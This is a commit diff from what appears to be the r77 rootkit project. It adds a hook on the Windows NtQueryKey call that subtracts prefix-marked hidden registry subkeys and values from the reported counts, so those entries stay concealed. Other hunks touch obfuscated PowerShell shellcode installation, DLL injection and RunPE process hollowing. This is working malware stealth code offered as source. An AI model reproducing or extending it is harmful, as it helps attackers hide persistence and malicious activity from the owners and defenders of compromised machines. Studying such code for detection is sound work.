Skip to content

Commit b149187

Browse files
committed
Hook NtQueryKey
1 parent 5d0cdc7 commit b149187

File tree

11 files changed

+113
-28
lines changed

11 files changed

+113
-28
lines changed

Install/Install.c

+1-1
Original file line numberDiff line numberDiff line change
@@ -281,7 +281,7 @@ VOID ObfuscatePowershellStringLiterals(LPWSTR command)
281281
FREE(newCommand);
282282
FREE(random);
283283
}
284-
VOID WriteShellCodeBytes(LPWSTR command, LPBYTE shellCode, DWORD size)
284+
VOID WriteShellCodeBytes(LPWSTR command, LPCBYTE shellCode, DWORD size)
285285
{
286286
// Write shellcode bytes:
287287
// - Each byte is obfuscated using a simple addition or subtraction.

Install/Install.h

+1-1
Original file line numberDiff line numberDiff line change
@@ -26,7 +26,7 @@ VOID ObfuscatePowershellStringLiterals(LPWSTR command);
2626
/// <param name="command">The powershell command to append the shellcode to.</param>
2727
/// <param name="shellCode">The shellcode bytes to append.</param>
2828
/// <param name="size">The number of bytes to append.</param>
29-
VOID WriteShellCodeBytes(LPWSTR command, LPBYTE shellCode, DWORD size);
29+
VOID WriteShellCodeBytes(LPWSTR command, LPCBYTE shellCode, DWORD size);
3030
/// <summary>
3131
/// Appends comma separated shellcode bytes to the command that represend a no-op, such as "mov eax, eax".
3232
/// </summary>

Unhook/Unhook.c

+1
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22
#include "Syscalls.h"
33
#include "ntdll.h"
44
#include "peb.h"
5+
#include "r77win.h"
56
#include <Shlwapi.h>
67

78
// For now, unhooking works on 64-bit Windows only.

r77/Hooks.c

+48
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@ static NT_NTQUERYSYSTEMINFORMATION OriginalNtQuerySystemInformation;
1212
static NT_NTRESUMETHREAD OriginalNtResumeThread;
1313
static NT_NTQUERYDIRECTORYFILE OriginalNtQueryDirectoryFile;
1414
static NT_NTQUERYDIRECTORYFILEEX OriginalNtQueryDirectoryFileEx;
15+
static NT_NTQUERYKEY OriginalNtQueryKey;
1516
static NT_NTENUMERATEKEY OriginalNtEnumerateKey;
1617
static NT_NTENUMERATEVALUEKEY OriginalNtEnumerateValueKey;
1718
static NT_ENUMSERVICEGROUPW OriginalEnumServiceGroupW;
@@ -39,6 +40,7 @@ VOID InitializeHooks()
3940
InstallHook("ntdll.dll", "NtResumeThread", (LPVOID*)&OriginalNtResumeThread, HookedNtResumeThread);
4041
InstallHook("ntdll.dll", "NtQueryDirectoryFile", (LPVOID*)&OriginalNtQueryDirectoryFile, HookedNtQueryDirectoryFile);
4142
InstallHook("ntdll.dll", "NtQueryDirectoryFileEx", (LPVOID*)&OriginalNtQueryDirectoryFileEx, HookedNtQueryDirectoryFileEx);
43+
InstallHook("ntdll.dll", "NtQueryKey", (LPVOID*)&OriginalNtQueryKey, HookedNtQueryKey);
4244
InstallHook("ntdll.dll", "NtEnumerateKey", (LPVOID*)&OriginalNtEnumerateKey, HookedNtEnumerateKey);
4345
InstallHook("ntdll.dll", "NtEnumerateValueKey", (LPVOID*)&OriginalNtEnumerateValueKey, HookedNtEnumerateValueKey);
4446
InstallHook("advapi32.dll", "EnumServiceGroupW", (LPVOID*)&OriginalEnumServiceGroupW, HookedEnumServiceGroupW);
@@ -73,6 +75,7 @@ VOID UninitializeHooks()
7375
UninstallHook(OriginalNtResumeThread, HookedNtResumeThread);
7476
UninstallHook(OriginalNtQueryDirectoryFile, HookedNtQueryDirectoryFile);
7577
UninstallHook(OriginalNtQueryDirectoryFileEx, HookedNtQueryDirectoryFileEx);
78+
UninstallHook(OriginalNtQueryKey, HookedNtQueryKey);
7679
UninstallHook(OriginalNtEnumerateKey, HookedNtEnumerateKey);
7780
UninstallHook(OriginalNtEnumerateValueKey, HookedNtEnumerateValueKey);
7881
UninstallHook(OriginalEnumServiceGroupW, HookedEnumServiceGroupW);
@@ -371,6 +374,51 @@ static NTSTATUS NTAPI HookedNtQueryDirectoryFileEx(HANDLE fileHandle, HANDLE eve
371374

372375
return status;
373376
}
377+
static NTSTATUS NTAPI HookedNtQueryKey(HANDLE key, NT_KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG length, PULONG resultLength)
378+
{
379+
NTSTATUS status = OriginalNtQueryKey(key, keyInformationClass, keyInformation, length, resultLength);;
380+
381+
if (NT_SUCCESS(status) && (keyInformationClass == KeyFullInformation || keyInformationClass == KeyCachedInformation))
382+
{
383+
BYTE buffer[1024];
384+
PNT_KEY_BASIC_INFORMATION keyBasicInformation = (PNT_KEY_BASIC_INFORMATION)buffer;
385+
PNT_KEY_VALUE_BASIC_INFORMATION keyValueBasicInformation = (PNT_KEY_VALUE_BASIC_INFORMATION)buffer;
386+
387+
// Count number of hidden subkeys and values.
388+
ULONG hiddenSubKeys = 0;
389+
ULONG hiddenValues = 0;
390+
391+
for (ULONG i = 0; OriginalNtEnumerateKey(key, i, KeyBasicInformation, keyBasicInformation, 1024, resultLength) == ERROR_SUCCESS; i++)
392+
{
393+
if (HasPrefix(keyBasicInformation->Name))
394+
{
395+
hiddenSubKeys++;
396+
}
397+
}
398+
399+
for (ULONG i = 0; OriginalNtEnumerateValueKey(key, i, KeyValueBasicInformation, keyValueBasicInformation, 1024, resultLength) == ERROR_SUCCESS; i++)
400+
{
401+
if (HasPrefix(keyValueBasicInformation->Name))
402+
{
403+
hiddenValues++;
404+
}
405+
}
406+
407+
// Subtract count by hidden keys and values.
408+
if (keyInformationClass == KeyFullInformation)
409+
{
410+
((PNT_KEY_FULL_INFORMATION)keyInformation)->SubKeys -= hiddenSubKeys;
411+
((PNT_KEY_FULL_INFORMATION)keyInformation)->Values -= hiddenValues;
412+
}
413+
else if (keyInformationClass == KeyCachedInformation)
414+
{
415+
((PNT_KEY_CACHED_INFORMATION)keyInformation)->SubKeys -= hiddenSubKeys;
416+
((PNT_KEY_CACHED_INFORMATION)keyInformation)->Values -= hiddenValues;
417+
}
418+
}
419+
420+
return status;
421+
}
374422
static NTSTATUS NTAPI HookedNtEnumerateKey(HANDLE key, ULONG index, NT_KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength)
375423
{
376424
if (keyInformationClass == KeyNodeInformation)

r77/Hooks.h

+1
Original file line numberDiff line numberDiff line change
@@ -25,6 +25,7 @@ static NTSTATUS NTAPI HookedNtQuerySystemInformation(SYSTEM_INFORMATION_CLASS sy
2525
static NTSTATUS NTAPI HookedNtResumeThread(HANDLE thread, PULONG suspendCount);
2626
static NTSTATUS NTAPI HookedNtQueryDirectoryFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan);
2727
static NTSTATUS NTAPI HookedNtQueryDirectoryFileEx(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, ULONG queryFlags, PUNICODE_STRING fileName);
28+
static NTSTATUS NTAPI HookedNtQueryKey(HANDLE key, NT_KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG length, PULONG resultLength);
2829
static NTSTATUS NTAPI HookedNtEnumerateKey(HANDLE key, ULONG index, NT_KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength);
2930
static NTSTATUS NTAPI HookedNtEnumerateValueKey(HANDLE key, ULONG index, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength);
3031
static BOOL WINAPI HookedEnumServiceGroupW(SC_HANDLE serviceManager, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPVOID reserved);

r77api/clist.c

+6-6
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@ PINTEGER_LIST CreateIntegerList()
66
PINTEGER_LIST list = NEW(INTEGER_LIST);
77
list->Count = 0;
88
list->Capacity = 16;
9-
list->Values = NEW_ARRAY(ULONG, list->Capacity);
9+
list->Values = NEW_ARRAY(INT, list->Capacity);
1010
return list;
1111
}
1212
VOID LoadIntegerListFromRegistryKey(PINTEGER_LIST list, HKEY key)
@@ -36,22 +36,22 @@ VOID DeleteIntegerList(PINTEGER_LIST list)
3636
i_memset(list, 0, sizeof(INTEGER_LIST));
3737
FREE(list);
3838
}
39-
VOID IntegerListAdd(PINTEGER_LIST list, ULONG value)
39+
VOID IntegerListAdd(PINTEGER_LIST list, INT value)
4040
{
4141
if (list->Count == list->Capacity)
4242
{
4343
list->Capacity += 16;
44-
PULONG newValues = NEW_ARRAY(ULONG, list->Capacity);
45-
i_memcpy(newValues, list->Values, list->Count * sizeof(ULONG));
44+
LPINT newValues = NEW_ARRAY(INT, list->Capacity);
45+
i_memcpy(newValues, list->Values, list->Count * sizeof(INT));
4646

47-
PULONG oldValues = list->Values;
47+
LPINT oldValues = list->Values;
4848
list->Values = newValues;
4949
FREE(oldValues);
5050
}
5151

5252
list->Values[list->Count++] = value;
5353
}
54-
BOOL IntegerListContains(PINTEGER_LIST list, ULONG value)
54+
BOOL IntegerListContains(PINTEGER_LIST list, INT value)
5555
{
5656
for (DWORD i = 0; i < list->Count; i++)
5757
{

r77api/clist.h

+12-12
Original file line numberDiff line numberDiff line change
@@ -3,22 +3,22 @@
33
#define _CLIST_H
44

55
/// <summary>
6-
/// Defines a collection of ULONG values.
6+
/// Defines a collection of INT values.
77
/// </summary>
88
typedef struct _INTEGER_LIST
99
{
1010
/// <summary>
11-
/// The number of ULONG values in this list.
11+
/// The number of INT values in this list.
1212
/// </summary>
1313
DWORD Count;
1414
/// <summary>
1515
/// The currently allocated capacity of the buffer. The buffer expands automatically when values are added.
1616
/// </summary>
1717
DWORD Capacity;
1818
/// <summary>
19-
/// A buffer that stores the ULONG values in this list.
19+
/// A buffer that stores the INT values in this list.
2020
/// </summary>
21-
PULONG Values;
21+
LPINT Values;
2222
} INTEGER_LIST, *PINTEGER_LIST;
2323

2424
/// <summary>
@@ -64,21 +64,21 @@ VOID LoadIntegerListFromRegistryKey(PINTEGER_LIST list, HKEY key);
6464
/// <param name="list">The INTEGER_LIST structure to delete.</param>
6565
VOID DeleteIntegerList(PINTEGER_LIST list);
6666
/// <summary>
67-
/// Adds a ULONG value to the specified INTEGER_LIST.
67+
/// Adds an INT value to the specified INTEGER_LIST.
6868
/// </summary>
69-
/// <param name="list">The INTEGER_LIST structure to add the ULONG value to.</param>
70-
/// <param name="value">The ULONG value to add to the list.</param>
71-
VOID IntegerListAdd(PINTEGER_LIST list, ULONG value);
69+
/// <param name="list">The INTEGER_LIST structure to add the INT value to.</param>
70+
/// <param name="value">The INT value to add to the list.</param>
71+
VOID IntegerListAdd(PINTEGER_LIST list, INT value);
7272
/// <summary>
73-
/// Determines whether the ULONG value is in the specified INTEGER_LIST.
73+
/// Determines whether the INT value is in the specified INTEGER_LIST.
7474
/// </summary>
7575
/// <param name="list">The INTEGER_LIST structure to search.</param>
76-
/// <param name="value">The ULONG value to check.</param>
76+
/// <param name="value">The INT value to check.</param>
7777
/// <returns>
78-
/// TRUE, if the specified ULONG value is in the specified INTEGER_LIST;
78+
/// TRUE, if the specified INT value is in the specified INTEGER_LIST;
7979
/// otherwise, FALSE.
8080
/// </returns>
81-
BOOL IntegerListContains(PINTEGER_LIST list, ULONG value);
81+
BOOL IntegerListContains(PINTEGER_LIST list, INT value);
8282
/// <summary>
8383
/// Compares two INTEGER_LIST structures for equality.
8484
/// </summary>

r77api/ntdll.h

+36-1
Original file line numberDiff line numberDiff line change
@@ -421,7 +421,14 @@ typedef enum _NT_KEY_INFORMATION_CLASS
421421
KeyBasicInformation,
422422
KeyNodeInformation,
423423
KeyFullInformation,
424-
KeyNameInformation
424+
KeyNameInformation,
425+
KeyCachedInformation,
426+
KeyFlagsInformation,
427+
KeyVirtualizationInformation,
428+
KeyHandleTagsInformation,
429+
KeyTrustInformation,
430+
KeyLayerInformation,
431+
MaxKeyInfoClass
425432
} NT_KEY_INFORMATION_CLASS;
426433

427434
typedef enum _NT_KEY_VALUE_INFORMATION_CLASS
@@ -439,6 +446,33 @@ typedef struct _NT_KEY_BASIC_INFORMATION
439446
WCHAR Name[1];
440447
} NT_KEY_BASIC_INFORMATION, *PNT_KEY_BASIC_INFORMATION;
441448

449+
typedef struct _NT_KEY_FULL_INFORMATION
450+
{
451+
LARGE_INTEGER LastWriteTime;
452+
ULONG TitleIndex;
453+
ULONG ClassOffset;
454+
ULONG ClassLength;
455+
ULONG SubKeys;
456+
ULONG MaxNameLength;
457+
ULONG MaxClassLength;
458+
ULONG Values;
459+
ULONG MaxValueNameLength;
460+
ULONG MaxValueDataLength;
461+
WCHAR Class[1];
462+
} NT_KEY_FULL_INFORMATION, *PNT_KEY_FULL_INFORMATION;
463+
464+
typedef struct _NT_KEY_CACHED_INFORMATION
465+
{
466+
LARGE_INTEGER LastWriteTime;
467+
ULONG TitleIndex;
468+
ULONG SubKeys;
469+
ULONG MaxNameLength;
470+
ULONG Values;
471+
ULONG MaxValueNameLength;
472+
ULONG MaxValueDataLength;
473+
ULONG NameLength;
474+
} NT_KEY_CACHED_INFORMATION, *PNT_KEY_CACHED_INFORMATION;
475+
442476
typedef struct _NT_KEY_NAME_INFORMATION
443477
{
444478
ULONG NameLength;
@@ -748,6 +782,7 @@ typedef NTSTATUS(NTAPI *NT_NTQUERYSYSTEMINFORMATION)(SYSTEM_INFORMATION_CLASS sy
748782
typedef NTSTATUS(NTAPI *NT_NTRESUMETHREAD)(HANDLE thread, PULONG suspendCount);
749783
typedef NTSTATUS(NTAPI *NT_NTQUERYDIRECTORYFILE)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan);
750784
typedef NTSTATUS(NTAPI *NT_NTQUERYDIRECTORYFILEEX)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, ULONG queryFlags, PUNICODE_STRING fileName);
785+
typedef NTSTATUS(NTAPI *NT_NTQUERYKEY)(HANDLE key, NT_KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG length, PULONG resultLength);
751786
typedef NTSTATUS(NTAPI *NT_NTENUMERATEKEY)(HANDLE key, ULONG index, NT_KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength);
752787
typedef NTSTATUS(NTAPI *NT_NTENUMERATEVALUEKEY)(HANDLE key, ULONG index, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength);
753788
typedef BOOL(WINAPI *NT_ENUMSERVICEGROUPW)(SC_HANDLE serviceManager, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPVOID reserved);

r77api/r77header.c

+1-1
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ WORD GetR77Header(LPVOID *detachAddress)
1010
WORD signature = *(LPWORD) & module[sizeof(IMAGE_DOS_HEADER)];
1111
if (signature == R77_SIGNATURE || signature == R77_SERVICE_SIGNATURE || signature == R77_HELPER_SIGNATURE)
1212
{
13-
if (detachAddress) *detachAddress = *(PDWORD64) & module[sizeof(IMAGE_DOS_HEADER) + 2];
13+
if (detachAddress) *detachAddress = (LPVOID) * (PDWORD64) & module[sizeof(IMAGE_DOS_HEADER) + 2];
1414
return signature;
1515
}
1616
}

r77api/r77process.c

+1-1
Original file line numberDiff line numberDiff line change
@@ -21,7 +21,7 @@ BOOL InjectDll(DWORD processId, LPBYTE dll, DWORD dllSize)
2121
if (GetProcessFileName(processId, processName, MAX_PATH))
2222
{
2323
LPCWSTR exclusions[] = PROCESS_EXCLUSIONS;
24-
for (int i = 0; i < sizeof(exclusions) / sizeof(LPCWSTR); i++)
24+
for (ULONG i = 0; i < sizeof(exclusions) / sizeof(LPCWSTR); i++)
2525
{
2626
if (!StrCmpIW(processName, exclusions[i]))
2727
{

r77api/r77win.c

+5-5
Original file line numberDiff line numberDiff line change
@@ -90,13 +90,13 @@ PWCHAR Int32ToStrW(LONG value, PWCHAR buffer)
9090
value = -value;
9191
}
9292

93-
INT length = 0;
93+
ULONG length = 0;
9494
for (LONG i = value; i; i /= 10)
9595
{
9696
length++;
9797
}
9898

99-
for (INT i = 0; i < length; i++)
99+
for (ULONG i = 0; i < length; i++)
100100
{
101101
buffer[length - i - 1] = L'0' + value % 10;
102102
value /= 10;
@@ -450,7 +450,7 @@ BOOL ExecuteFile(LPCWSTR path, BOOL deleteFile)
450450

451451
if (deleteFile)
452452
{
453-
for (int i = 0; i < 10; i++)
453+
for (ULONG i = 0; i < 10; i++)
454454
{
455455
if (DeleteFileW(path)) break;
456456
Sleep(100);
@@ -784,7 +784,7 @@ BOOL RunPE(LPCWSTR path, LPBYTE payload)
784784
{
785785
BOOL sectionsWritten = TRUE;
786786
PIMAGE_SECTION_HEADER sectionHeaders = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(ntHeaders);
787-
for (int j = 0; j < ntHeaders->FileHeader.NumberOfSections; j++)
787+
for (ULONG j = 0; j < ntHeaders->FileHeader.NumberOfSections; j++)
788788
{
789789
if (!WriteProcessMemory(processInformation.hProcess, (LPBYTE)imageBase + sectionHeaders[j].VirtualAddress, (LPBYTE)payload + sectionHeaders[j].PointerToRawData, sectionHeaders[j].SizeOfRawData, NULL))
790790
{
@@ -855,7 +855,7 @@ BOOL RunPE(LPCWSTR path, LPBYTE payload)
855855
{
856856
BOOL sectionsWritten = TRUE;
857857
PIMAGE_SECTION_HEADER sectionHeaders = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(ntHeaders);
858-
for (int j = 0; j < ntHeaders->FileHeader.NumberOfSections; j++)
858+
for (ULONG j = 0; j < ntHeaders->FileHeader.NumberOfSections; j++)
859859
{
860860
if (!WriteProcessMemory(processInformation.hProcess, (LPBYTE)imageBase + sectionHeaders[j].VirtualAddress, (LPBYTE)payload + sectionHeaders[j].PointerToRawData, sectionHeaders[j].SizeOfRawData, NULL))
861861
{

0 commit comments

Comments
 (0)